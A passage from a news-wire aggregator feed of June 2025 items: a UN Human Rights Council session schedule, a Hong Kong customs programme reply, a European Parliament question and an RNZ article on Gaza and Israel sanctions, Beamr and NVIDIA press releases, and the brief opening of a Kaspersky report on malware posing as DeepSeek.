    The Council will hold enhanced interactive dialogues under agenda item two with  the Special Rapporteur on the situation of human rights in Afghanistan and on the oral update of the Fact-Finding Mission on the human rights situation in the eastern Democratic Republic of the Congo.  Under agenda item four, the Council will hold an enhanced interactive dialogue with the High Commissioner on the situation of human rights in Myanmar, with the participation of the Special Rapporteur on the situation of human rights in Myanmar.

    On climate change, the Council will hold its annual panel on the adverse impacts of climate change on human rights, followed by an interactive dialogue with the Special Rapporteur on climate change. The Council will also hold its annual panel on technical cooperation and capacity-building. 

    Under agenda item three, the Council will hold its annual panel discussion on women’s rights, and a panel on safe drinking water and sanitation.  It will also hold interactive dialogues on summary executions, freedom of expression, peaceful assembly, transnational corporations, education, health, leprosy (Hansen’s disease), sexual orientation and gender identity, migrants, internally displaced persons, prevention of genocide, trafficking, extreme poverty, discrimination against women and girls, violence against women and girls, judges and lawyers, and international solidarity.   

    The Council will also hear the presentation of the Secretary-General’s interim report on the temporarily occupied Autonomous Republic of Crimea and the city of Sevastopol, Ukraine, under agenda item 10. Further, it will hold interactive dialogues with the Special Rapporteur on the situation of human rights in Eritrea and the Commission of Inquiry on the Occupied Palestinian Territory, including East Jerusalem and in Israel, under agenda item two; and with the Special Rapporteur on the situation of human rights in Belarus and the Special Rapporteur on the situation of human rights in Burundi under agenda item four. The Council will also hear oral updates from the Fact-Finding Mission for Sudan under agenda item two and from the Commission of Inquiry on Syria under agenda item four. 

    Additionally, the Council will hold interactive dialogues under agenda item seven with the Special Rapporteur on the situation of human rights in the Palestinian territories occupied since 1967, and under agenda item nine with the Special Rapporteur on contemporary forms of racism, racial discrimination, xenophobia and related intolerance.  Under agenda item 10, it will hold an interactive dialogue with the Independent Expert on the situation of human rights in the Central African Republic. 

    The final outcomes of the Universal Periodic Review of 14 States will also be considered, namely those of Italy, El Salvador, Gambia, the Plurinational State of Bolivia, Fiji, San Marino, Kazakhstan, Angola, the Islamic Republic of Iran, Madagascar, Iraq, Slovenia, Egypt, and Bosnia and Herzegovina.

    A detailed agenda and further information on the fifty-ninth session can be found on the session’s web page.  Reports to be presented are available here. All meetings of this session are broadcast on UN Web TV. 

    First Week of the Session

    The fifty-ninth regular session will open on Monday, 16 June under the presidency of Ambassador Jürg Lauber. After the opening, the Council will begin considerations under agenda item two, and the High Commissioner for Human Rights, Volker Türk, will present his annual report.  Subsequently, the Council will hold an enhanced interactive dialogue with the Special Rapporteur on the situation of human rights in Afghanistan, and an interactive dialogue with the Special Rapporteur on the situation of human rights in Eritrea. This will be followed by an enhanced interactive dialogue on the oral update of the Fact-Finding Mission on the human rights situation in the eastern Democratic Republic of the Congo. 

    On Tuesday, 17 June, the Council will hold an interactive dialogue on the High Commissioner’s annual report, followed by an interactive dialogue with the Independent International Commission of Inquiry on the Occupied Palestinian Territory, including East Jerusalem and in Israel.  At the end of the day, it will hear the presentation of an oral update by the Independent International Fact-Finding Mission for Sudan. 

    On Wednesday, 18 June, the Council will commence discussions under agenda item three on the promotion and protection of all human rights, holding interactive dialogues with the Special Rapporteur on extrajudicial, summary or arbitrary executions, the Special Rapporteur on the promotion and protection of the right to freedom of opinion and expression, and the Special Rapporteur on freedom of peaceful assembly and of association, which will conclude on Thursday, 19 June. This will be followed by interactive dialogues with the Working Group on the issue of human rights and transnational corporations and other business enterprises, the Special Rapporteur on the right to education, and the Special Rapporteur on the right of everyone to the enjoyment of the highest attainable standard of physical and mental health. 

    On Friday, 20 June, the Council will hold interactive dialogues with the Special Rapporteur on the elimination of discrimination against persons affected by leprosy (Hansen’s disease) and their family members, the Independent Expert on protection against violence and discrimination based on sexual orientation and gender identity, the Special Rapporteur on the human rights of migrants, and the Special Rapporteur on the human rights of internally displaced persons. 

    Second Week of the Session

    In its second week, the Council will conclude its interactive dialogue with the Special Rapporteur on the human rights of internally displaced persons on Monday, 23 June.  It will then hold interactive dialogues with the Special Advisor on the Prevention of Genocide, the Special Rapporteur on trafficking in persons, especially women and children, and the Special Rapporteur on extreme poverty and human rights.

    The Council will start Tuesday, 24 June, with the first part of its annual discussion on women’s rights, focusing on gender-based violence against women and girls in conflict, post-conflict and humanitarian settings.  This will be followed by an interactive dialogue with the Working Group on discrimination against women and girls.  In the afternoon, the second part of the annual discussion on women’s rights will be held, focusing on the commemoration of the International Day of Women in Diplomacy and on overcoming barriers to women’s leadership in peace processes.

    On Wednesday, 25 June, the Council will hold interactive dialogues with the Special Rapporteur on violence against women and girls, its causes and consequences, the Special Rapporteur on the independence of judges and lawyers, and the Independent Expert on human rights and international solidarity. 

    The Council will start Thursday, 26 June, with a panel discussion on the realisation of the human rights to safe drinking water and sanitation, followed by the presentation of reports under agenda item three.  In the afternoon, it will start its consideration of reports under agenda item four on human rights situations that require the Council’s attention, hearing the presentation of an oral update by the Independent International Commission of Inquiry on the Syrian Arab Republic, followed by interactive dialogues with the Special Rapporteur on the situation of human rights in Belarus, and on the oral update of the Special Rapporteur on the situation of human rights in Burundi. 

    On Friday, 27 June, the Council will hold an enhanced interactive dialogue on the report of the High Commissioner on the situation of human rights in Myanmar, and the oral update of the Special Rapporteur on the situation of human rights in Myanmar.  This will be followed by an interactive dialogue on the High Commissioner’s report on the situation of human rights in the Bolivarian Republic of Venezuela, and the presentation of the High Commissioner’s oral update on the situation of human rights in Nicaragua.

    Third Week of the Session

    The Council will begin its third week on Monday, 30 June, with its annual panel discussion on the adverse impacts of climate change on human rights, focusing on facilitating just transitions in the context of addressing the impacts of climate change on human rights.  This will be followed by an interactive dialogue with the Special Rapporteur on the promotion and protection of human rights in the context of climate change.  It will then hear the presentation of the report of the Working Group on the issue of human rights and transnational corporations and other business enterprises on the thirteenth session of the Forum on Business and Human Rights under agenda item five on human rights bodies and mechanisms.

    The Council will next start its consideration under item six of the outcomes of the Universal Periodic Review of Italy, El Salvador, Gambia, the Plurinational State of Bolivia, Fiji, San Marino, Kazakhstan, Angola, the Islamic Republic of Iran, Madagascar, Iraq, Slovenia, Egypt, Bosnia and Herzegovina, which will conclude at the end of the day on Wednesday, 2 July. 

    On Thursday, 3 July, the Council will hold an interactive dialogue with the Special Rapporteur on the situation of human rights in the Palestinian territories occupied since 1967, under agenda item seven on the human rights situation in Palestine and other occupied Arab territories.  This will be followed by an interactive dialogue with the Special Rapporteur on contemporary forms of racism, racial discrimination, xenophobia and related intolerance, under agenda item nine on racism, racial discrimination, xenophobia and related forms of intolerance. 

    In the afternoon, the Council will begin discussions under item 10 on technical assistance and capacity-building, with interactive dialogues on the oral presentation of the High Commissioner regarding his Office’s periodic report on the situation of human rights in Ukraine, and on the interim report of the Secretary-General on the situation of human rights in the temporarily occupied Autonomous Republic of Crimea and the city of Sevastopol, Ukraine.  This will be followed by an interactive dialogue on the High Commissioner’s report on the enhancement of technical assistance and capacity-building to assist Colombia in the implementation of the recommendations made by the Commission for the Clarification of Truth, Coexistence and Non-Repetition. 

    On Friday, 4 July, the Council will hold its annual panel discussion on technical cooperation and capacity-building, focusing on the role of technical cooperation and capacity-building in strengthening national structures which play a role in promoting and safeguarding human rights, particularly national human rights institutions and national mechanisms for implementation, reporting and follow-up. 

    This will be followed by an interactive dialogue on the oral update of the Independent Expert on the situation of human rights in the Central African Republic.

    In the afternoon, the Council will hear the presentation of the report of the High Commissioner relating to cooperation with Georgia.  It will then start taking action on draft resolutions and decisions. 

    Fourth Week of the Session

    The final week of the Council will be devoted to taking action on draft resolutions and decisions and the appointment of a member of the Expert Mechanism on the Right to Development and a member of the Working Group on arbitrary detention.  The session will conclude on Wednesday, 9 July.

    The Human Rights Council

    The Human Rights Council is an inter-governmental body within the United Nations system, made up of 47 States, which is responsible for strengthening the promotion and protection of human rights around the globe.  The Council was created by the United Nations General Assembly on 15 March 2006 with the main purpose of addressing situations of human rights violations and making recommendations on them.

    The composition of the Human Rights Council at its fifty-ninth session is as follows: Albania (2026); Algeria (2025); Bangladesh (2025); Belgium (2025); Benin (2027); Bolivia (2027); Brazil (2026); Bulgaria (2026); Burundi (2026); Chile (2025); China (2026); Colombia (2027); Costa Rica (2025); Côte d’Ivoire (2026); Cuba (2026); Cyprus (2027); Czechia (2027); Democratic Republic of the Congo (2027); Dominican Republic (2026); Ethiopia (2027); France (2026); Gambia (2027); Georgia (2025); Germany (2025); Ghana (2026); Iceland (2027); Indonesia (2026); Japan (2026); Kenya (2027); Kuwait (2026); Kyrgyzstan (2025); Malawi (2026); Maldives (2025); Marshall Islands (2027); Mexico (2027); Morocco (2025); Netherlands (2026); North Macedonia (2027); Qatar (2027); Republic of Korea (2027); Romania (2025); South Africa (2025); Spain (2027); Sudan (2025); Switzerland (2027); Thailand (2027); and Viet Nam (2025).

    The term of membership of each State expires in the year indicated in parentheses.

    The President of the Human Rights Council in 2025 is Jürg Lauber (Switzerland).  The four Vice-Presidents are Tareq Md Ariful Islam (Bangladesh), Razvan Rusu (Romania), Claudia Puentes Julio (Chile), and Paul Empole Losoko Efambe (Democratic Republic of the Congo).  Mr. Efambe also serves as Rapporteur of the Geneva-based body. 

    The dates and venue of the fifty-ninth session are subject to change.

    Information on the fifty-ninth session can be found here, including the annotated agenda and the reports to be presented.

    For further information, please contact Pascal Sim (simp@un.org), Matthew Brown (matthew.brown@un.org) and David Díaz Martín (david.diazmartin@un.org)

    ___________

    Produced by the United Nations Information Service in Geneva for use of the media; 
    not an official record. English and French versions of our releases are different as they are the product of two separate coverage teams that work independently.

     

    HRC25.006E

    MIL OSI United Nations News –

    June 12, 2025

  • MIL-OSI Asia-Pac: LCQ16: Hong Kong Authorized Economic Operator Programme

    Source: Hong Kong Government special administrative region

    LCQ16: Hong Kong Authorized Economic Operator Programme 
         According to the information of the Customs and Excise Department, since the launch of the Hong Kong Authorized Economic Operator Programme, about 90 enterprises have become Authorized Economic Operators (AEOs), and their goods transported to the 16 economies with which Hong Kong has entered into AEO mutual recognition arrangements (MRAs) can enjoy customs facilitation arrangements, which is instrumental in facilitating seamless cross-boundary movement of goods. However, there are views that the current rate of enterprise participation in the Programme and the coverage of the Programme are not extensive enough. In this connection, will the Government inform this Council:
     
    (1) of the volume and value of imported and exported goods involving Hong Kong AEOs in the past three years, as well as their respective percentages in the total volume and value of such goods;
     
    (2) as there are views that in order to enhance the efficiency of the import and export of local and Mainland goods, Hong Kong must further extend the coverage of the MRA network, of the progress of the authorities’ entering into MRA agreements with more economies; and
     
    (3) as there are views that apart from enabling enterprises to enjoy speedy customs arrangements, being accredited as the AEOs also helps enhance the management standards of enterprises, and the Mainland has even set up training bases to encourage more enterprises to become the AEOs, of the measures put in place by the Government to encourage more local enterprises to become the AEOs?
     
    Reply:
     
    President,
     
         Having consulted the Customs and Excise Department (C&ED), the reply to the question raised by the Hon Frankie Yick is as follows:
     
         The volume and value of imported and exported goods involving Hong Kong Authorized Economic Operators (AEOs) in the past three years, along with their respective percentages in the total volume and value of imported and exported goods, are shown below:
     

    Year

    CategoriesMIL-OSI

    Post navigation

    Year     At present, Hong Kong has ratified AEO mutual recognition arrangements (MRAs) with 16 economies, ranking fourth globally in terms of the number of MRAs after Mainland China, Korea and the United States. The C&ED has been proactively expanding the global network of AEO MRAs with good progress made in recent years. It has signed action plans for AEO MRAs with eight economies including Türkiye, Saudi Arabia, Cambodia, the Philippines, the United Arab Emirates, Laos, Peru and Chile, marking a significant step towards the conclusion of the MRAs by both sides. The C&ED is now actively engaged in discussions and follow-up work with the customs administrations of these economies regarding the MRAs.
     
         Looking ahead, the C&ED will continue its efforts to expand the MRA network by actively liaising with Hong Kong’s major trading partners and dovetailing with the national development strategy on the Belt and Road Initiative. Priority will be given to discussing the MRAs with Belt and Road economies, including member states of the Association of Southeast Asian Nations, the Cooperation Council for the Arab States of the Gulf, and economies in the South American and African regions, with a view to benefitting more enterprises.
     
         To encourage local enterprises to become Hong Kong AEOs, the C&ED has continuously collaborated with the industry, major chambers of commerce and relevant partners to organise different types of publicity and promotional events, including briefing sessions and exhibition booths, to enhance enterprises’ understanding of the Hong Kong AEO Programme. Last year, the C&ED set up exhibition booths and hosted thematic seminars at major events, such as the Belt and Road Summit jointly organised by the Belt and Road Office and the Hong Kong Trade Development Council (HKTDC), as well as the Asian Logistics, Maritime and Aviation Conference organised by the Hong Kong Special Administrative Region Government and the HKTDC, with a view to fostering exchanges with different fields and industries. In addition, the C&ED has been disseminating the latest information on the developments of local and global AEO programmes through its website and social media channels, so as to extend the reach of its publicity and promotional efforts as well as strengthen communication and engagement with stakeholders.
     
         To further enhance the appeal of the Hong Kong AEO Programme, the C&ED has been actively seeking co-operation with various organisations to offer more benefits to the AEOs. For instance, the C&ED collaborates with the Hong Kong Export Credit Insurance Corporation to provide Hong Kong AEOs with free buyers’ credit checks to help them cope with market risks. In addition, the C&ED signed the Memorandum of Understanding (MoU) on Enhancing AEO Co-operation in the Greater Bay Area among Mainland, Hong Kong and Macao Customs under the AEO MRAs with the General Administration of Customs of the People’s Republic of China and the Macao Customs Service in 2023. Through such initiatives as the mutual referral mechanism on AEO applications, enhanced joint publicity and staff training, the MoU deepens the co-operation among the three customs administrations and supports enterprises of the three places to seize development opportunities in the Guangdong-Hong Kong-Macao Greater Bay Area.
    Issued at HKT 11:05

    NNNN

    MIL OSI Asia Pacific News –

    June 12, 2025

  • MIL-OSI Europe: Written question – Access for humanitarian aid to the Gaza Strip – E-002193/2025

    Source: European Parliament

    Question for written answer  E-002193/2025
    to the Commission
    Rule 144
    Estelle Ceulemans (S&D), Saskia Bricmont (Verts/ALE), Elio Di Rupo (S&D), Chloé Ridel (S&D), Maria Ohisalo (Verts/ALE), Nora Mebarek (S&D), Murielle Laurent (S&D), Marc Botenga (The Left), Rima Hassan (The Left), Cecilia Strada (S&D), Danilo Della Valle (The Left), Wouter Beke (PPE), Leila Chaibi (The Left), Carola Rackete (The Left), Thomas Bajada (S&D), Matjaž Nemec (S&D), André Rodrigues (S&D), Liesbet Sommen (PPE), Brando Benifei (S&D), Carla Tavares (S&D), Nikos Papandreou (S&D), Alex Agius Saliba (S&D)

    On 19 May 2025, Prime Minister Netanyahu cynically invoked the need to prevent famine for diplomatic reasons, authorising a derisory resumption of humanitarian aid to the Gaza Strip, while declaring Israel’s aim to take full control of the territory.

    This minimal easing follows a critical crisis caused by Israel’s total blockade for over two months, violating Article 59(1) of the Fourth Geneva Convention.

    This deliberate obstruction of aid to over two million Palestinians has created a situation of near starvation, with 4 000 children suffering from severe malnutrition. Meanwhile, over 90 % of the population has been forcibly displaced, 400 humanitarian workers have been killed since 7 October 2023, and constant bombing has destroyed 60 % of the building stock.

    Given the intensification of violence announced by Israel, but also considering the small success of diplomatic pressure, enabling limited humanitarian aid in the area:

    • 1.Will the Commission intensify diplomatic pressure through economic measures and implement an arms embargo to force more humanitarian aid access?
    • 2.Will the Commission invoke Article 2 of the EU-Israel Association Agreement to suspend it until Israel complies with its international obligations?
    • 3.Will Commissioner Lahbib travel to Gaza to negotiate further humanitarian aid access, as she did in Darfur in April?

    Submitted: 2.6.2025

    MIL OSI Europe News –

    June 12, 2025

  • MIL-Evening Report: New Zealand’s ‘symbolic’ sanctions on Israel too little, too late, say opposition parties

    By Russell Palmer, RNZ News political reporter

    Opposition parties say Aotearoa New Zealand’s government should be going much further, much faster in sanctioning Israel.

    Foreign Minister Winston Peters overnight revealed New Zealand had joined Australia, Canada, the UK and Norway in imposing travel bans on Israel’s Finance Minister Bezalel Smotrich and National Security Minister Itamar Ben-Gvir.

    Some of the partner countries went further, adding asset freezes and business restrictions on the far-right ministers.

    Peters said the pair had used their leadership positions to actively undermine peace and security and remove prospects for a two-state solution.

    Israel and the United States criticised the sanctions, with the US saying it undermined progress towards a ceasefire.

    Prime Minister Christopher Luxon, attending Fieldays in Waikato, told reporters New Zealand still enjoyed a good relationship with the US administration, but would not be backing down.

    “We have a view that this is the right course of action for us,” he said.

    Behind the scenes job
    “We have differences in approach but the Americans are doing an excellent job of behind the scenes trying to get Israel and the Palestinians to the table to talk about a ceasefire.”

    Asked if there could be further sanctions, Luxon said the government was “monitoring the situation all the time”.

    Peters has been busy travelling in Europe and was unavailable to be interviewed. ACT — probably the most vocally pro-Israel party in Parliament — refused to comment on the situation.

    The opposition parties also backed the move, but argued the government should have gone much further.

    Greens co-leader Chlöe Swarbrick has since December been urging the coalition to back her bill imposing economic sanctions on Israel. With support from Labour and Te Pāti Māori it would need just six MPs to cross the floor to pass.

    Calling the Israeli actions in Gaza “genocide”, she told RNZ the government’s sanctions fell far short of those imposed on Russia.

    “This is symbolic, and it’s unfortunate that it’s taken so long to get to this point, nearly two years . . .  the Minister of Foreign Affairs also invoked the similarities with Russia in his statement this morning, yet we have seen far less harsh sanctions applied to Israel.

    “We’re well past the time for first steps.”

    ‘Cowardice’ by government
    The pushback from the US was “probably precisely part of the reason that our government has been so scared of doing the right thing”, she said, calling it “cowardice” on the government’s part.

    “What else are you supposed to call it at the end of the day?,” she said, saying at a bare minimum the Israeli ambassador should be expelled, Palestinian statehood should be recognised, and a special category of visas for Palestinians should be introduced.

    She rejected categorisation of her stance as anti-semitic, saying that made no sense.

    “If we are critiquing a government of a certain country, that is not the same thing as critiquing the people of that country. I think it’s actually far more anti-semitic to conflate the actions of the Israeli government with the entire Jewish peoples.”

    Te Pāti Māori co-leader Debbie Ngarewa-Packer . . . “It’s not a war, it’s an annihilation”. Image: RNZ/Samuel Rillstone

    Te Pāti Māori co-leader Debbie Ngarewa-Packer said the sanctions were political hypocrisy.

    “When it comes to war, human rights and the extent of violence and genocide that we’re seeing, Palestine is its own independent nation . . .  why is this government sanctioning only two ministers? They should be sanctioning the whole of Israel,” she said.

    “These two Israel far right ministers don’t act alone. They belong to an entire Israel government which has used its military might and everything it can possibly do to bombard, to murder and to commit genocide and occupy Gaza and the West Bank.”

    Suspend diplomatic ties
    She also wanted all diplomatic ties with Israel suspended, along with sanctions against Israeli companies, military officials and additional support for the international courts — also saying the government should have done more.

    “This government has been doing everything to do nothing . . .  to appease allies that have dangerously overstepped unjustifiable marks, and they should not be silent.

    “It’s not a war, it’s an annihilation, it’s an absolute annihilation of human beings . . .  we’re way out there supporting those allies that are helping to weaponise Israel and the flattening and the continual cruel occupation of a nation, and it’s just nothing that I thought in my living days I’d be witnessing.”

    She said the government should be pushing back against “a very polarised, very Trump attitude” to the conflict.

    “Trumpism has arrived in Aotearoa . . .  and we continue to go down that line, that is a really frightening part for this beautiful nation of ours.

    “As a nation, we have a different set of values. We’re a Pacific-based country with a long history of going against the grain – the mainstream, easy grind. We’ve been a peaceful, loving nation that stood up against the big boys when it came to our anti nuclear stance and that’s our role in this, our role is not to follow blindly.”

    Undermining two-state solution
    In a statement, Labour’s foreign affairs spokesperson Peeni Henare said the actions of Smotrich and Ben-Gvir had attempted to undermine the two-state solution and international law, and described the situation in Gaza as horrific.

    “The travel bans echo the sanctions placed on Russian individuals and organisations that supported the illegal invasion of Ukraine,” he said.

    He called for further action.

    “Labour has been calling for stronger action from the government on Israel’s invasion of Gaza, including intervening in South Africa’s case against Israel in the International Court of Justice, creation of a special visa for family members of New Zealanders fleeing Gaza, and ending government procurement from companies operating illegally in the Occupied Territories.”

    This article is republished under a community partnership agreement with RNZ.

    MIL OSI Analysis – EveningReport.nz –

    June 11, 2025

  • MIL-OSI: Beamr to Launch GPU-Accelerated Video Compression Solution for Autonomous Vehicles at NVIDIA GTC Paris

    Source: GlobeNewswire (MIL-OSI)

    Beamr’s technology, designed for autonomous vehicles and machine learning workflows, enables up to 50% reduction in video storage without compromising model fidelity or visual quality 

    Herzliya, Israel, June 11, 2025 (GLOBE NEWSWIRE) — Beamr Imaging Ltd. (NASDAQ: BMR), a leader in video optimization technology and solutions, today announced it will launch a high-performance, high-quality video compression solution designed for autonomous vehicles at NVIDIA GTC Paris, taking place June 10-12, 2025, as part of Viva Technology 2025, Europe’s biggest startup and tech event.

    In the development of autonomous driving, video is the dominant data type. A single vehicle produces terabytes of video data daily, and training a single autonomous model may require tens to hundreds of petabytes. Beamr’s proprietary technology, with a proven track record in high-efficiency video compression trusted by global media players, now addresses a pressing, costly challenge for autonomous vehicles and machine learning teams: managing video data at scale, including long-term storage and the significant infrastructure investment required.

    Beamr’s Content-Adaptive Bitrate (CABR) technology, built on NVIDIA accelerated computing, reduces real-world autonomous driving and synthetic video file sizes by up to 50%. This is achieved while preserving visual quality and critical visual features essential for training autonomous driving models. By addressing key storage, compute, and bandwidth constraints in AI pipelines, it significantly reduces operational costs.

    Video capturing for autonomous driving models starts with Advanced Driver Assistance Systems (ADAS), recording real-world driving footage ingested into data centers, where video volumes scale rapidly. Yet, real-world data alone is insufficient for training models that must perform reliably across a wide spectrum of scenarios, including rare edge cases. To address this, a vast amount of synthetic video is generated by platforms such as NVIDIA Omniverse and NVIDIA Cosmos™ world foundation models, helping to amplify training data.

    “Autonomous vehicle companies are under mounting pressure from rising video storage demands and infrastructure costs,” said Sharon Carmel, Beamr CEO. “Our content-adaptive technology, accelerated by GPUs, delivers highly efficient compression while maintaining visual quality across a variety of scenarios – both for human perception and machine vision, and in both real-world and synthetic video.”

    In recent benchmark testing on raw driving footage using real-time object detection models, Beamr’s CABR achieved compression rates equivalent to the highest-quality compression common in the industry. It maintains high detection accuracy, preserving even fine visual details, demonstrating practically no impact on machine learning performance, while enabling up to 50% savings.

    All GTC Paris attendees interested in Beamr’s solutions for scalable, high-quality video solutions are invited to schedule a meeting with Beamr’s video experts team. For registration, please click the link.

    For more details, please visit http://beamr.com/autonomous

    About Beamr

    Beamr (Nasdaq: BMR) is a world leader in content-adaptive video compression, trusted by top media companies including Netflix and Paramount. Beamr’s perceptual optimization technology (CABR) is backed by 53 patents and a winner of Emmy® Award for Technology and Engineering. The innovative technology reduces video file sizes by up to 50% while preserving quality and enabling AI-powered enhancements.

    Beamr powers efficient video workflows across high-growth markets, such as media and entertainment, user-generated content, machine learning, and autonomous vehicles. Its flexible deployment options include on-premises, private or public cloud, with convenient availability for Amazon Web Services (AWS) and Oracle Cloud Infrastructure (OCI) customers.

    For more details, please visit www.beamr.com or the investors’ website www.investors.beamr.com

    Forward-Looking Statements

    This press release contains “forward-looking statements” that are subject to substantial risks and uncertainties. Forward-looking statements in this communication may include, among other things, statements about Beamr’s strategic and business plans, technology, relationships, objectives and expectations for its business, the impact of trends on and interest in its business, intellectual property or product and its future results, operations and financial performance and condition. All statements, other than statements of historical fact, contained in this press release are forward-looking statements. Forward-looking statements contained in this press release may be identified by the use of words such as “anticipate,” “believe,” “contemplate,” “could,” “estimate,” “expect,” “intend,” “seek,” “may,” “might,” “plan,” “potential,” “predict,” “project,” “target,” “aim,” “should,” “will” “would,” or the negative of these words or other similar expressions, although not all forward-looking statements contain these words. Forward-looking statements are based on the Company’s current expectations and are subject to inherent uncertainties, risks and assumptions that are difficult to predict. Further, certain forward-looking statements are based on assumptions as to future events that may not prove to be accurate. For a more detailed description of the risks and uncertainties affecting the Company, reference is made to the Company’s reports filed from time to time with the Securities and Exchange Commission (“SEC”), including, but not limited to, the risks detailed in the Company’s annual report filed with the SEC on March 4, 2025 and in subsequent filings with the SEC. Forward-looking statements contained in this announcement are made as of the date hereof and the Company undertakes no duty to update such information except as required under applicable law.

    Investor Contact:
    investorrelations@beamr.com

    The MIL Network –

    June 11, 2025

  • MIL-OSI: NVIDIA Partners With Europe Model Builders and Cloud Providers to Accelerate Region’s Leap Into AI

    Source: GlobeNewswire (MIL-OSI)

    • Model Builders Across Europe — Including France, Italy, Poland, Spain and Sweden — to Deliver Sovereign Models With NVIDIA Nemotron
    • AI Models Tailored to Local Languages and Culture Coming to Perplexity, Delivered as NVIDIA NIM Microservices and Hosted on Regional AI Infrastructure From NVIDIA Cloud Partners

    PARIS, June 11, 2025 (GLOBE NEWSWIRE) — NVIDIA GTC Paris at VivaTech — NVIDIA today announced that it is teaming with model builders and cloud providers across Europe and the Middle East to optimize sovereign large language models (LLMs), providing a springboard to accelerate enterprise AI adoption for the region’s industries.

    Model builders and AI consortiums Barcelona Supercomputing Center (BSC), Bielik.AI, Dicta, H Company, Domyn, LightOn, the National Academic Infrastructure for Supercomputing in Sweden (NAISS) together with KBLab at the National Library of Sweden, the Slovak Republic, the Technology Innovation Institute (TII), the University College of London, the University of Ljubljana and UTTER are teaming with NVIDIA to optimize their models with NVIDIA Nemotron™ techniques to maximize cost efficiency and accuracy for enterprise AI workloads, including agentic AI.

    Model post-training and inference will run on AI infrastructure in Europe from NVIDIA Cloud Partners (NCPs) participating in the NVIDIA DGX Cloud Lepton™ marketplace.

    The open, sovereign models will provide a foundation for an integrated regional AI ecosystem that reflects local languages and culture. Europe’s enterprises will be able to run the models on Perplexity, an AI-powered answer engine used to answer over 150 million questions per week. Companies will also be able to fine-tune the sovereign models on local NCP infrastructure through a new Hugging Face integration with DGX Cloud Lepton.

    “Europe’s diversity is its superpower — an engine of creativity and innovation,” said Jensen Huang, founder and CEO of NVIDIA. “Together with Europe’s model builders and cloud providers, we’re building an AI ecosystem where intelligence is developed and served locally to provide a foundation for Europe to thrive in the age of AI — transforming every industry across the region.”

    Optimizing Model Accuracy and Inference Savings With NVIDIA Nemotron
    Europe — the world’s third largest economic region — is home to industries spanning manufacturing, robotics, healthcare and pharmaceuticals, finance, energy and creative.

    To accelerate the region’s AI-driven transformation, NVIDIA partners are delivering their open LLMs with support for Europe’s 24 official languages. Several models also specialize in national language and culture, such as those from H Company and LightOn in France, Dicta in Israel, Domyn in Italy, Bielik.AI in Poland, the University of Ljubljana and the Slovak Republic models, BSC in Spain, NAISS and KBLab in Sweden, TII in the United Arab Emirates and the University College London in the U.K.

    The LLMs will be distilled with NVIDIA Nemotron model-building techniques — including neural architecture search — as well as reinforcement learning and post-training with NVIDIA-curated synthetic data. These optimizations will reduce operational costs and boost user experiences by generating tokens faster during inference. The Nemotron post-training workloads will run on DGX Cloud Lepton hosted by European NCPs including Nebius, Nscale and Fluidstack.

    Developers will be able to deploy the sovereign models as NVIDIA NIM™ microservices running on AI factories — on premises and across cloud service provider platforms — using a new NIM microservice that supports more than 100,000 public, private and domain-specialized LLMs hosted on Hugging Face.

    Adding Europe’s Sovereign AI Insights to Perplexity
    Supporting AI diversity for enterprises across the region, Perplexity will integrate the sovereign AI models into its answer engine, which is used by European enterprises, publishers and organizations, including telecommunications and media giants. Perplexity uses LLMs to improve accuracy in search queries and AI outputs. The answer engine draws from credible sources in real time to accurately answer questions with in-line citations, perform deep research and complete assistive tasks.

    “Perplexity’s goal is to provide accurate, trustworthy answers to any question from any person, wherever they are,” said Aravind Srinivas, cofounder and CEO of Perplexity. “Bringing NVIDIA-optimized sovereign AI models to Perplexity empowers innovation in Europe with AI built and running in the region.”

    Availability
    The first distilled models from Europe’s model builders are expected to be available later this year.

    Watch the NVIDIA GTC Paris keynote from Huang at VivaTech and explore GTC Paris sessions.

    About NVIDIA
    NVIDIA (NASDAQ: NVDA) is the world leader in accelerated computing.

    For further information, contact:
    Allie Courtney
    NVIDIA Corporation
    +1-408-706-8995
    acourtney@nvidia.com

    Certain statements in this press release including, but not limited to, statements as to: together with Europe’s model builders and cloud providers, NVIDIA building an AI ecosystem where intelligence is developed and served locally to provide a foundation for Europe to thrive in the age of AI — transforming every industry across the region; the benefits, impact, performance, and availability of NVIDIA’s products, services, and technologies; expectations with respect to NVIDIA’s third party arrangements, including with its collaborators and partners; expectations with respect to technology developments; and other statements that are not historical facts are forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended, which are subject to the “safe harbor” created by those sections based on management’s beliefs and assumptions and on information currently available to management and are subject to risks and uncertainties that could cause results to be materially different than expectations. Important factors that could cause actual results to differ materially include: global economic and political conditions; NVIDIA’s reliance on third parties to manufacture, assemble, package and test NVIDIA’s products; the impact of technological development and competition; development of new products and technologies or enhancements to NVIDIA’s existing product and technologies; market acceptance of NVIDIA’s products or NVIDIA’s partners’ products; design, manufacturing or software defects; changes in consumer preferences or demands; changes in industry standards and interfaces; unexpected loss of performance of NVIDIA’s products or technologies when integrated into systems; and changes in applicable laws and regulations, as well as other factors detailed from time to time in the most recent reports NVIDIA files with the Securities and Exchange Commission, or SEC, including, but not limited to, its annual report on Form 10-K and quarterly reports on Form 10-Q. Copies of reports filed with the SEC are posted on the company’s website and are available from NVIDIA without charge. These forward-looking statements are not guarantees of future performance and speak only as of the date hereof, and, except as required by law, NVIDIA disclaims any obligation to update these forward-looking statements to reflect future events or circumstances.

    Many of the products and features described herein remain in various stages and will be offered on a when-and-if-available basis. The statements above are not intended to be, and should not be interpreted as a commitment, promise, or legal obligation, and the development, release, and timing of any features or functionalities described for our products is subject to change and remains at the sole discretion of NVIDIA. NVIDIA will have no liability for failure to deliver or delay in the delivery of any of the products, features or functions set forth herein.

    © 2025 NVIDIA Corporation. All rights reserved. NVIDIA, the NVIDIA logo, DGX Cloud Lepton, NVIDIA Nemotron and NVIDIA NIM are trademarks and/or registered trademarks of NVIDIA Corporation in the U.S. and other countries. Other company and product names may be trademarks of the respective companies with which they are associated. Features, pricing, availability and specifications are subject to change without notice.

    A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/f5fb6261-43d3-4e35-ba55-37a8fbeca57c.

    The MIL Network –

    June 11, 2025

  • MIL-OSI Economics: Toxic trend: Another malware threat targets DeepSeek

    Source: Securelist – Kaspersky

    Headline: Toxic trend: Another malware threat targets DeepSeek

    Introduction

    DeepSeek-R1 is one of the most popular LLMs right now. Users of all experience levels look for chatbot websites on search engines, and threat actors have started abusing the popularity of LLMs. We previously reported attacks with malware being spread under the guise of DeepSeek to attract victims. The malicious domains spread through X posts and general browsing.

